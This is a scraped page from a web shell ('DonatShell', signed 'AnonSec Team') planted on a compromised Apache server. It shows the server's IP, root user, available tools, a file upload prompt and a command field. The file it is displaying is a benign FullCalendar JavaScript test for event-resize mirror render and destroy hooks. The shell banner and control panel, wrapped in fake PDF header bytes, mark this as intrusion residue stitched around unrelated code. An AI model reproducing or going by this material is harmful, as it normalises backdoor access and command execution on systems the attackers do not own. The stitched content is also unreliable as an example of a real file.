%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/event-resize/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/event-resize/mirror-hooks.js
import { resize as dayGridResize } from './DayGridEventResizeUtils'
import { resize as timeGridResize } from './TimeGridResizeUtils'

describe('event resize mirror', function() {
  pushOptions({
    editable: true,
    defaultDate: '2018-12-25',
    eventDragMinDistance: 0 // so mirror will render immediately upon mousedown
  })

  describe('in month view', function() {
    pushOptions({
      defaultView: 'dayGridMonth',
      events: [
        { start: '2018-12-03', title: 'all day event' }
      ]
    })

    it('gets passed through eventDestroy', function(done) {
      let mirrorRenderCalls = 0
      let mirrorDestroyCalls = 0
      let normalRenderCalls = 0
      let normalDestroyCalls = 0

      initCalendar({
        eventRender(info) {
          if (info.isMirror) {
            mirrorRenderCalls++
          } else {
            normalRenderCalls++
          }
        },
        eventDestroy(info) {
          if (info.isMirror) {
            mirrorDestroyCalls++
          } else {
            normalDestroyCalls++
          }
        }
      })

      // drag TWO days
      dayGridResize('2018-12-03', '2018-12-05').then(function() {
        expect(mirrorRenderCalls).toBe(3)
        expect(mirrorDestroyCalls).toBe(3)

        expect(normalRenderCalls).toBe(2)
        expect(normalDestroyCalls).toBe(1)

        done()
      })
    })
  })

  describe('in timeGrid view', function() {
    pushOptions({
      defaultView: 'timeGridWeek',
      scrollTime: '00:00',
      slotDuration: '01:00',
      snapDuration: '01:00',
      events: [
        { start: '2018-12-25T01:00:00', end: '2018-12-25T02:00:00', title: 'timed event' }
      ]
    })

    it('gets passed through eventDestroy', function(done) {
      let mirrorRenderCalls = 0
      let mirrorDestroyCalls = 0
      let normalRenderCalls = 0
      let normalDestroyCalls = 0

      initCalendar({
        eventRender(info) {
          if (info.isMirror) {
            mirrorRenderCalls++
          } else {
            normalRenderCalls++
          }
        },
        eventDestroy(info) {
          if (info.isMirror) {
            mirrorDestroyCalls++
          } else {
            normalDestroyCalls++
          }
        }
      })

      // drag TWO snaps
      timeGridResize('2018-12-25T02:00:00', '2018-12-25T04:00:00').then(function() {
        expect(mirrorRenderCalls).toBe(3)
        expect(mirrorDestroyCalls).toBe(3)

        expect(normalRenderCalls).toBe(2)
        expect(normalDestroyCalls).toBe(1)

        done()
      })
    })
  })

})

Anon7 - 2022
AnonSec Team